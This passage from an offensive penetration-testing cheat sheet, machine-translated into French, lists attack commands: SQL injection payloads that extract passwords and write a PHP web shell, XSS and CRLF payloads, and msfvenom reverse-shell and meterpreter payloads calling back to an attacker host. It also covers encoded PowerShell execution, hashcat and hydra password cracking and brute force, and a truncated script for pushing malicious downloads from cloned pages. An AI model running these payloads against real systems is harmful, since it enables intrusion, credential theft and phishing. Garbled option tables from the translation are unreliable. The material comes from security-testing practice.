| -sv | Sonde les ports ouverts pour déterminer les informations de service / version |
| -O | Activer la détection du système d'exploitation |
| -SC | Identique à --script = par défaut |
| --scénario | Scan de script (prend du temps à terminer) |
| - Script-args | Fournir des arguments aux scripts |
| --script-help | Montrer de l'aide sur les scripts |
| -on / -ox / -og | Scan de sortie au format normal, XML et grepable |
| -v | Augmenter le niveau de verbosité (utiliser -vv ou plus pour plus d'effet) |
| --raison | Affichez la raison pour laquelle un port est dans un état particulier |
| -UN | Activer la détection du système |
Tous les scripts de NMAP sont situés sur /usr/share/nmap/scripts/ répertoire. En savoir plus sur les scripts ici.
Exemples NSE:
nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306
nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'
nmap -nv --script='ssl-heartbleed' -iL cidrs.txt
Vous pouvez trouver rockyou.txt et subdomains-top1mil.txt Wordlists dans les seclists.
Je préfère utiliser des noyaux pour le balayage de vulnérabilité.
Installation:
apt-get update && apt-get -y install testssl.shTestez un certificat SSL / TLS (par exemple, SSL / TLS Ciphers, Protocoles, etc.):
testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com
Vous pouvez également utiliser TestSSL.sh pour exploiter les vulnérabilités SSL / TLS.
Testez un serveur Web pour une vulnérabilité Heartbleed:
for subdomain in $( cat subdomains_live.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} :443 " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txt
# omit the URL scheme
for subdomain in $( cat subdomains_live_short_https.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txtCertificat SCRAP SSL / TLS:
keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt
openssl x509 -noout -text -in keytool_results.txt
Utilisez Découvrir avec Shodan et Censys SSL / TLS DORKS pour trouver plus d'hôtes dans le scope.
Essayez toujours la connexion de la session NULL, c'est-à-dire sans connexion de mot de passe ou recherchez à Internet les informations d'identification par défaut pour une application Web spécifique.
Essayez de manipuler des cookies ou des jetons JWT pour accéder ou élever les privilèges. Sur la déconnexion, vérifiez toujours si l'un des cookies ou des jetons JWT est toujours valide.
Inspectez toujours le stockage local du navigateur Web, surtout si tester une application (SPA) à une seule page.
Essayez de transformer, par exemple, une demande HTTP Post en une demande HTTP GET, c'est-à-dire dans une chaîne de requête, et voyez comment un serveur y réagira.
Éteignez JavaScript dans votre navigateur Web et vérifiez à nouveau le comportement de l'application Web.
Vérifiez le comportement de l'application Web sur un appareil mobile car certaines fonctionnalités peuvent fonctionner différemment. Essayez de vous usurper votre agent utilisateur ou essayez de visiter m.somesite.com .
Si vous souhaitez automatiser vos tests d'injection de code, vérifiez la sous-section des listes de mots pour les listes de mots d'injection de code. Certaines des listes de mots incluent également des injections de code obscurcies.
Si vous voyez des montants ou des quantités, essayez d'utiliser Danielmissler / Seclists / Tree / Master / Fuzzing / montants la liste de mots car elle pourrait provoquer un comportement involontaire, des erreurs ou même contourner les limites minimales et maximales.
N'oubliez pas de nettoyer après vous-même. Supprimez tous les artefacts créés, incl. Les logiciels malveillants, les exploits, les outils, les scripts, etc., et réintégrer tous les paramètres et modifications d'un hôte cible après avoir terminé le test.
Utilisé lorsque vous essayez d'exploiter une redirection ouverte, des scripts crosstes aveugles (XSS), des interactions DNS et HTTP, etc.
Rassemblez autant d'informations que possible pour une cible spécifiée, voyez comment dans 1. Reconnaissance.
Rassemblez les noms d'organisation avec WHOIS et les noms canoniques avec l'hôte.
Vous pouvez vérifier si les domaines / sous-domaines sont morts avec DIG ou Alive et Httpx.
Vérifiez si les fournisseurs d'hébergement pour les domaines / sous-domaines trouvés sont vulnérables à la prise de contrôle du domaine / sous-domaine à edOverflow / can-i-take-over-xyz. Crédits à l'auteur!
Les plus grands fournisseurs de services cloud:
Installation:
go install -v github.com/lukasikic/subzy@latest
Vérifiez les domaines / sous-domaines Takeover:
subzy -concurrency 100 -timeout 3 -targets subdomains_errors.txt | tee subzy_results.txt
Installation:
go install -v github.com/haccer/subjack@latestVérifiez les domaines / sous-domaines Takeover:
subjack -v -o subjack_results.json -t 100 -timeout 3 -a -m -w subdomains_errors.txt
Découvrez comment contourner les codes d'état de réponse 4xx HTTP à Ivan-Sincek / Forbidden.
Analyser un serveur Web:
nikto -output nikto_results.txt -h somesite.com -p 80
Scannez un site Web WordPress:
wpscan -o wpscan_results.txt --url somesite.com
Installation et mise à jour:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -up && nuclei -utScan de vulnérabilité, tous les modèles:
nuclei -c 500 -o nuclei_results.txt -l subdomains_live_long_2xx_4xx.txt
cat nuclei_results.txt | grep -Po ' (?<=] ).+ ' | sort -uf > nuclei_sorted_results.txtSeule la prise de contrôle du sous-domaine:
nuclei -c 500 -t takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt
Découvrez les paramètres de demande:
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -u https://somesite.com
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -i subdomains_live_long_2xx.txt
Répertoires de fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt
Valeurs de paramètres de fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"someparam": "WFUZZ"}" -w somewordlist.txt
Paramètres de fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"WFUZZ": "somevalue"}" -w somewordlist.txt
Exemple supplémentaire, fuzzing SSRF interne:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt
| Option | Description |
|---|---|
| -f | Les résultats du stockage dans le fichier de sortie |
| -T | Spécifiez le nombre de connexions simultanées (10 par défaut) |
| -s | Spécifiez le délai entre les demandes (0 par défaut) |
| -U | Spécifiez une URL pour la demande |
| -W | Spécifiez un fichier de liste de mots |
| -X | Spécifiez une méthode HTTP pour la demande, c'est-à-dire la tête ou la fuzz |
| -B | Spécifiez un cookie pour les demandes |
| -d | Utiliser les données du post |
| -H | Utiliser l'en-tête |
| --hc / - HL / - HW / - HH | Masquer les réponses avec le code / lignes / mots / chars spécifié |
| --c / - SL / - SW / - SH | Afficher les réponses avec le code / lignes / mots / chars spécifié |
| --SS / - HS | Afficher / masquer les réponses avec le Regex spécifié dans le contenu |
Tout d'abord, essayez de simplement changer une valeur vers une autre, par exemple, modifiez [email protected] à [email protected] , modifiez une carte d'identité de 1 à 2 , etc.
Il est probable que les ID de nombre plus bas se rapporteront à certains comptes ou rôles de privilèges plus élevés.
Deuxièmement, essayez la pollution des paramètres:
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
email=hacker%40gmail.com,victim%40gmail.com
email=hacker%40gmail.com%20victim%40gmail.com
email=hacker%40gmail.com&email=victim%40gmail.com
email[]=hacker%40gmail.com&email[]=victim%40gmail.com
email=victim%40gmail.com,hacker%40gmail.com
email=victim%40gmail.com%20hacker%40gmail.com
email=victim%40gmail.com&email=hacker%40gmail.com
email[]=victim%40gmail.com&email[]=hacker%40gmail.com
Pour générer la sortie ci-dessus, exécutez idor.py:
python3 idor.py -n email -i [email protected] -t [email protected]
Également connu sous le nom d'injection de CRLF. CRLF fait référence au retour du chariot ( ASCII 13 , r ) et à l'alimentation en ligne ( ASCII 10 , n ).
Lorsqu'il est encodé, r fait référence à %0D et n fait référence à %0A .
Fixez un cookie de session:
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
Redirection ouverte:
somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com
La fixation de session et la redirection ouverte sont l'une des nombreuses techniques utilisées en combinaison avec la division de la réponse HTTP. Recherchez sur Internet plus de techniques.
Charges utiles de script croisé (XSS) simples:
< script > alert ( 1 ) </ script >
< script src =" https://myserver.com/xss.js " > </ script >
< img src =" https://github.com/favicon.ico " onload =" alert(1) " > Héberger JavaScript sur Pastebin ne fonctionnera pas car Pastebin renvoie toujours text/plain contenu.
En savoir plus sur les attaques de scripts croisées reflétées et stockées (XSS), ainsi que les attaques de demande de demande croisée (XSRF / CSRF) aux Ivan-Sincek / XSS-Catcher.
Emails valides avec XSS intégré:
user+( < script > alert ( 1 ) </ script > )@somedomain.com
user@somedomain( < script > alert ( 1 ) </ script > ).com
" < script > alert ( 1 ) </ script > "@somedomain.comLes charges utiles suivantes ont été testées sur la base de données MySQL. Notez que MySQL nécessite un caractère blanc entre le symbole de commentaire et le caractère suivant.
Si vous avez besoin d'URL coder le caractère Whitespace, utilisez à la place %20 ou + .
Essayez de produire des erreurs de base de données en injectant une période de slash, back-slash, double hyphen, slash vers l'avant ou période.
Assurez-vous toujours de fermer correctement le code environnant.
Lisez cet article OWASP pour apprendre à contourner WAF.
SQLI basé sur booléen:
' OR 1=1--
' OR 1=2--
SQLI basé sur un syndicat:
' UNION SELECT 1,2,3,4--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4--
' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns--
' UNION SELECT 1,load_file('..\..\apache\conf\httpd.conf'),3,4--
Si vous utilisez, par exemple, 1,2,3,4 ne fonctionne pas, essayez d'utiliser respectivement NULL,NULL,NULL,NULL .
Utilisez le SQLI basé sur un syndicat uniquement lorsque vous pouvez utiliser le même canal de communication pour lancer l'attaque et recueillir des résultats.
L'objectif est de déterminer le nombre exact de colonnes dans la requête SQL et de déterminer lesquelles sont présentées à l'utilisateur.
Une autre façon de déterminer le nombre exact de colonnes consiste à utiliser, par exemple, ' ORDER BY 1-- , où 1 est le numéro de colonne utilisé pour le tri - l'incrémentant par un sur chaque essai.
SQLI basé sur le temps:
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE user() WHEN '[email protected]' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)--
' AND IF(version() LIKE '5%',sleep(2),sleep(0))--
Utilisez le SQLI basé sur le temps lorsque vous n'êtes pas en mesure de voir les résultats.
Vérifiez l'existence / l'exactitude:
' AND (SELECT 'exists' FROM users) = 'exists
' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists
' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct
'||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'
Injecter un shell Web PHP simple basé sur la demande de GET HTTP:
' UNION SELECT '', '', '', '<?php if(isset($_GET["command"])){echo shell_exec($_GET["command"]);} ?>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($_SERVER["REQUEST_METHOD"])&&strtolower($_SERVER["REQUEST_METHOD"])==="get"&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}} ?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Simple PHP Web Shell</title><meta name="author" content="Ivan Šincek"><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><pre><?php echo $o;unset($o);unset($_GET[$p]); ?></pre></body></html>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
Pour injecter avec succès un shell Web, l'utilisateur actuel de la base de données doit avoir une autorisation d'écriture.
Injecter le code SQL dans les paramètres de demande:
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
| Option | Description |
|---|---|
| -U | URL cible |
| -H | En-tête HTTP supplémentaire |
| --données | Chaîne de données à envoyer via la publication |
| - Cookie | Valeur d'en-tête HTTP |
| --procuration | Utilisez un proxy pour se connecter à l'URL cible ([protocole: //] hôte [: port]) |
| -p | Paramètres testables (s) |
| --niveau | Niveau de tests à effectuer (1-5, par défaut: 1) |
| --risque | Risque de tests à effectuer (1-3, par défaut: 1) |
| -un | Récupérez tout |
| -B | Récupérer la bannière DBMS |
| - dump-tout | Vider toutes les bases de données SGBD |
| - Shell | Invite à un shell de système d'exploitation interactif |
| --os-pwn | Invite pour une coque OOB, un mètre ou une VNC |
| --sqlmap-shell | Invite pour un shell SQLMAP interactif |
| --magicien | Interface d'assistant simple pour les utilisateurs débutants |
| - dbms | Faire. |
Traverse un chemin (par exemple, somesite.com/../../../etc/passwd ):
dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com
dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com
dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'
Essayez de constituer un protocole tel que file:// , gopher:// , dict:// , php:// , jar:// , ftp:// , tftp:// , etc., sur le chemin du fichier; par exemple, file://TRAVERSAL .
Vérifiez quelques conseils de traversée de répertoires supplémentaires sur SwisskyRepo / PayloadsallThethings. Crédits à l'auteur!
| Option | Description |
|---|---|
| -m | Module (HTTP, HTTP-URL, FTP, TFTP Payload, Stdout) |
| -H | Nom d'hôte |
| -O | Détection du système d'exploitation pour le fuzzing intelligent (NMAP) |
| -o | Type de système d'exploitation si connu ("Windows", "Unix" ou "générique") |
| -d | Profondeur des traversées (par défaut: 6) |
| -f | Nom de fichier spécifique (par défaut: selon le système d'exploitation détecté) |
| -S | Utilisez SSL pour HTTP et module de charge utile (pas nécessaire pour HTTP-URL) |
| -U | URL avec la pièce à être masquée comme traversée |
| -K | Modèle de texte à correspondre dans la réponse |
| -p | Nom de fichier avec la charge utile à envoyer et la pièce à fuzzed marquée du mot-clé de traversée |
| -x | Port à connecter (par défaut: http = 80; ftp = 21; tftp = 69) |
| -U | Nom d'utilisateur (par défaut: «anonyme») |
| -P | Mot de passe (par défaut: 'Dot (at) dot.pwn') |
| -M | Méthode HTTP à utiliser lors de l'utilisation du module «http» (obtenir, publier, diriger, copier, déplacer, par défaut: obtenir) |
| -B | Casser après la première vulnérabilité |
| -C | Continuez si aucune donnée n'a été reçue de l'hôte |
En savoir plus sur les obus PHP chez Ivan-Sincek / PHP-Reverse-Shell.
En savoir plus sur les obus Java / JSP chez Ivan-Sincek / Java-Reverse-TCP.
Découvrez comment générer une charge utile de shell inverse pour Python et l'envoyer à la machine cible sur Ivan-Sincek / Send-TCP-Payload.
Pour générer une Base64 encoded payload , utilisez l'une des commandes MSFvenom suivantes, modifiez-les à votre besoin:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
Pour générer un binary file , utilisez l'une des commandes MSFvenom suivantes, modifiez-les à votre besoin:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
Pour générer un DLL file , utilisez l'une des commandes MSFvenom suivantes, modifiez-les à votre besoin:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
Pour générer un standalone executable , le fichier utilise l'une des commandes MSFvenom suivantes, modifiez-les à votre besoin:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
Pour générer un MSI file , utilisez l'une des commandes MSFvenom suivantes, modifiez-les à votre besoin:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
Bytecode pourrait ne pas fonctionner sur le premier essai en raison de certains autres mauvais caractères. Les essais et erreurs sont la clé.
Jusqu'à présent, il n'y a pas de moyen facile de générer un fichier DLL ni MSI avec un shell Meterpreter sans stand sans standage en raison des problèmes de taille.
Pour générer une commande PowerShell encodée à partir d'un script PowerShell, exécutez la commande PowerShell suivante:
[ Convert ]::ToBase64String([ Text.Encoding ]::Unicode.GetBytes([ IO.File ]::ReadAllText( $script )))Pour exécuter la commande PowerShell Encoded, exécutez la commande suivante à partir de PowerShell ou de Command Invite:
PowerShell - ExecutionPolicy Unrestricted - NoProfile - EncodedCommand $commandPour décoder une commande PowerShell encodée, exécutez la commande PowerShell suivante:
[ Text.Encoding ]::Unicode.GetString([ Convert ]::FromBase64String( $command ))En savoir plus sur PowerShell inverse et lier les coquilles TCP à Ivan-Sincek / PowerShell-Reverse-TCP.
Google un hachage avant d'essayer de le casser car vous pourriez vous économiser beaucoup de temps et de problèmes.
Utilisez Google Dorks, Chad ou FOCA pour trouver et télécharger des fichiers, et dans les métadonnées des fichiers, les noms d'utilisateur de domaine en force brute.
Gardez à l'esprit que vous pourriez verrouiller les comptes des gens.
Certains formulaires Web ont le défi CAPTCHA et / ou le jeton de soumission caché qui peut vous empêcher de forcer brut. Si tel est le cas, essayez de soumettre une demande sans la réponse du défi CAPTCHA et le jeton de soumission.
Vous pouvez trouver un tas de listes de mots utiles dans les seclists.
Générer une liste de mots à faible teneur en alpha:
crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt
Voir la liste de tous les caractères disponibles ou ajoutez le vôtre dans charset.lst situé sur /usr/share/crunch/ répertoire.
Générez toutes les permutations possibles à partir de mots:
crunch -o crunch_wordlist.txt -p admin 123 !"
crunch -o crunch_wordlist.txt -q words.txt
Générez toutes les combinaisons possibles à partir d'un charme:
crunch 4 6 -o crunch_wordlist.txt -p admin123!"
| Option | Description |
|---|---|
| -d | Limite le nombre de caractères consécutifs |
| -f | Spécifie un jeu de caractères à partir d'un fichier |
| -je | Inverse la sortie |
| -l | Lorsque vous utilisez l'option -T, cette option indique à Crunch quels symboles doivent être traités comme des littéraux |
| -o | Spécifie le fichier pour écrire la sortie |
| -p | Dit à la crunch de générer / permuter des mots qui n'ont pas de caractères répétitifs |
| -Q | Dit à Crunch de lire un fichier et de permuter ce qui est lu |
| -r | Raconte que Crunch de reprendre génére des mots à partir de l'endroit où il s'était arrêté, -r ne fonctionne que si vous utilisez -o |
| -s | Spécifie une chaîne de départ |
| -T | Spécifie un motif |
| Espace réservé | Description |
|---|---|
| @ | Caractères minuscules |
| , | Caractères en majuscules |
| % | Nombres |
| ^ | Symboles |
Malheureusement, il n'y a pas d'espace réservé allant de la minuscule alpha aux symboles.
Générez toutes les combinaisons possibles à partir d'un espace réservé:
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^
crunch 10 10 + + 123456 !" -o crunch_wordlist.txt -t admin@@%^^
crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa
Pour identifier un type de hachage, exécutez l'outil suivant:
hash-identifier
Hashs de force brute MD5:
hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Hashs de force brute netntlmv1:
hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Utilisez --session=<session_name> pour enregistrer et continuez votre progression de craquage plus tard en utilisant --restore .
Continuez à craquer les progrès:
hashcat --session=cracking --restore
| Option | Description |
|---|---|
| -m | Type de hachage, voir références ci-dessous |
| -un | Mode d'attaque, voir références ci-dessous |
| --forcer | Ignorer les avertissements |
| - runtime | Aborter la session après x secondes d'exécution |
| --statut | Activer la mise à jour automatique de l'écran d'état |
| -o | Définir Outfile pour le hachage récupéré |
| --montrer | Afficher les mots de passe fissurés trouvés dans Potfile |
| --session | Définir le nom spécifique de la session |
| --restaurer | Restaurer la session de - session |
| --restore-file path | Chemin spécifique pour restaurer le fichier |
| -O | Activer les noyaux optimisés (limite la longueur du mot de passe) |
| -1 | Charset défini par l'utilisateur? 1 |
| -2 | Charset défini par l'utilisateur? 2 |
| -3 | Charset défini par l'utilisateur? 3 |
| -4 | Charset défini par l'utilisateur? 4 |
Lorsque vous spécifiez un charme défini par l'utilisateur, échappez-vous ? avec un autre ? (c'est-à-dire, utilisez ?? au lieu de ? ).
| Type de hachage | Description |
|---|---|
| 0 | Md5 |
| 100 | Sha1 |
| 1400 | Sha256 |
| 1700 | Sha512 |
| 200 | Mysql323 |
| 300 | Mysql4.1 / mysql5 |
| 1000 | NTLM |
| 5500 | Netntlmv1-Vanilla / Netntlmv1-Ess |
| 5600 | Netntlmv2 |
| 2500 | WPA / WPA2 |
| 16800 | Wpa-pmkid-pbkdf2 |
| 16500 | JWT (jeton Web JSON) |
Pour plus de types de hachage, lisez le manuel.
| Mode d'attaque | Nom |
|---|---|
| 0 | Droit |
| 1 | Combinaison |
| 3 | Force brute |
| 6 | Liste de mots hybride + masque |
| 7 | Masque hybride + liste de mots |
| 9 | Association |
| Charbon | Description |
|---|---|
| ? L | abcdefghijklmnopqrstuvwxyz |
| ? u | Abcdefghijklmnopqrstuvwxyz |
| ?d | 0123456789 |
| ? | ! "# $% & '() * +, -. /:; <=>? @ [] ^ _` {|} ~ |
| ?un | ? L? U? D? S |
| ? B | 0x00 - 0xff |
Attaque du dictionnaire:
hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt
hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt
Vous pouvez trouver la liste de mots rockyou.txt dans les seclists.
Brute Force A Hash à l'aide d'un espace réservé:
hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2
hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 !"#$%&/()=??* -2 ?d?1 ?u?l?l?l?l?2?2?2
Attaque du dictionnaire:
hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
Vous pouvez également vérifier mon outil de fissuration JWT chez Ivan-Sincek / JWT-BF.
Je préfère utiliser Burp Suite to Brute Force Web Forms et Hydra pour d'autres services.
Attaque du dictionnaire sur un formulaire Web de connexion HTTP Post:
hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'
Lorsque Brute forçait un formulaire Web de connexion, vous devez spécifier Login=Login:<expected_message> pour distinguer les tentatives de connexion réussies et échouées. Modifiez le username et les noms de paramètres de la demande de password si nécessaire.
Attaque du dictionnaire sur une connexion à coquille sécurisée (SSH):
hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh
Vous pouvez trouver un tas de listes de mots utiles dans les seclists.
| Option | Description |
|---|---|
| -R | Restaurer une session abandonnée / écrasée précédente |
| -S | Effectuer une connexion SSL |
| -O | Utilisez Old SSL V2 et V3 |
| -s | Si le service est sur un port par défaut différent, définissez-le ici |
| -l | Connexion avec un nom de connexion |
| -L | Chargez plusieurs connexions à partir d'un fichier |
| -p | Connectez-vous avec un mot de passe |
| -P | Chargez plusieurs mots de passe à partir d'un fichier |
| -x | Mot de passe Brute Force Generation (Min: Max: Chartset), Tapez "-x -h" pour obtenir de l'aide |
| -y | Désactiver l'utilisation de symboles dans Bruteforce |
| -e | Essayez la connexion "null mot de passe null", comme pass et / ou "r", connexion inversée |
| -o | Écrivez des paires de connexion / mot de passe trouvé à un fichier au lieu de stdout |
| -f / -f | Sortir lorsqu'une paire de connexion / pass est trouvée (-f par hôte, -f global) |
| -M | Liste des serveurs à attaquer, une entrée par ligne, «:« pour spécifier le port |
| Services soutenus |
|---|
| ftp [s] |
| http [s] - {get | post} -form |
| mysql |
| pME |
| smtp [s] |
| snmp |
| ssh |
| telnet[s] |
| vnc |
For more supported services read the manual.
| Brute Force Syntax | Description |
|---|---|
| Min | Minimum number of characters in the password |
| Max | Maximum number of characters in the password |
| CHARSET | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation |
Brute force attack on FTP:
hydra -o hydra_results.txt -l admin -x 4:4:aA1!"#$% 192.168.8.5 ftp
After you have collected enough usernames from the reconnaissance phase, it is time to try and brute force some of them.
Find out how to generate a good password spraying wordlist at ivan-sincek/wordlist-extender, but first you will need a few good keywords that describe your target.
Such keywords can include a company name, abbreviations, or words that describe the company's services, products, etc.
After you generated the wordlist, use it with tools such as Hydra, Burp Suite Intruder, etc., to brute force login web forms. Hydra can attack authentication mechanisms for all kinds of services and ports.
If strong password policy is enforced, lazy passwords usually start with one capitalized word followed by a few digits and one special character at the end (eg, Password123!).
You can also use the generated wordlist with hashcat, eg, to crack NTLMv2 hashes that you have collected using LLMNR responder during a network penetration testing, etc.
Find out how to embed a PowerShell script into an MS Word document at ivan-sincek/powershell-reverse-tcp.
To force users to download a malicious file, copy and paste this JavaScript code block on any cloned web page:
function download ( url , type , name , method ) {
